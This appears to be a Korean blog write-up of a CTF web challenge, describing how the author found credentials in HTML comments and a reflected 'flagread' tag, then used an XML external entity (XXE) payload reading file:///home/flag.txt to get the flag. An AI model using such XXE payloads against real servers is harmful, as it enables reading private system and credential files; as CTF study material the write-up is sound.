XXE vulnerabilities 문제이다.
다른 웹 문제 다 풀었지만 DOM 하나도 몰라서 못풀었다ㅠ
아래 writeup 참고함
https://0xc0ffee.io/writeups/juniors-ctf/just-read-the-flag.html
We have a problem, I can't find Rick. He said he has codes for cancelling the launch of nuclear bombs. He promised to upload these codes on the website. Look, maybe you can find something interesting there.
주석으로 다음과 같이 되어있고
<!--LOGIN IS ADMIN -->
<!--PASSWORD IS IT_LIE OR WUBBA LUBBA DUB DUB -->
<!--IF BUTTON ISN'T WORK SEND, TRY SEND IT WITHOUT BUTTON?-->
submit버튼이 없는데 이거를 만들어줘서
request하면
YOU CAN REFLECT A TEXT. JUST USE flagread TAG
Maybe info about DOMDocument help you?
이게 뜬다.
Fiddler 리퀘스트에 다음을 넣어서 보내게 되면
<flagread>TESTING FOR REFLECTED TEXT</flagread>
웹사이트에 TESTING FOR REFLECTED TEXT가 뜬다.
따라서
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE XXE_TEST [<!ENTITY xxe SYSTEM "file:///home/flag.txt" >]>
<root>
<flagread>&xxe;</flagread>
</root>
이를 사용하면 답이 뜬다!!
'Web Hacking > CTF writeup' 카테고리의 다른 글
EasyCTF 2017 WebTunnel (0) | 2017.03.24 |
---|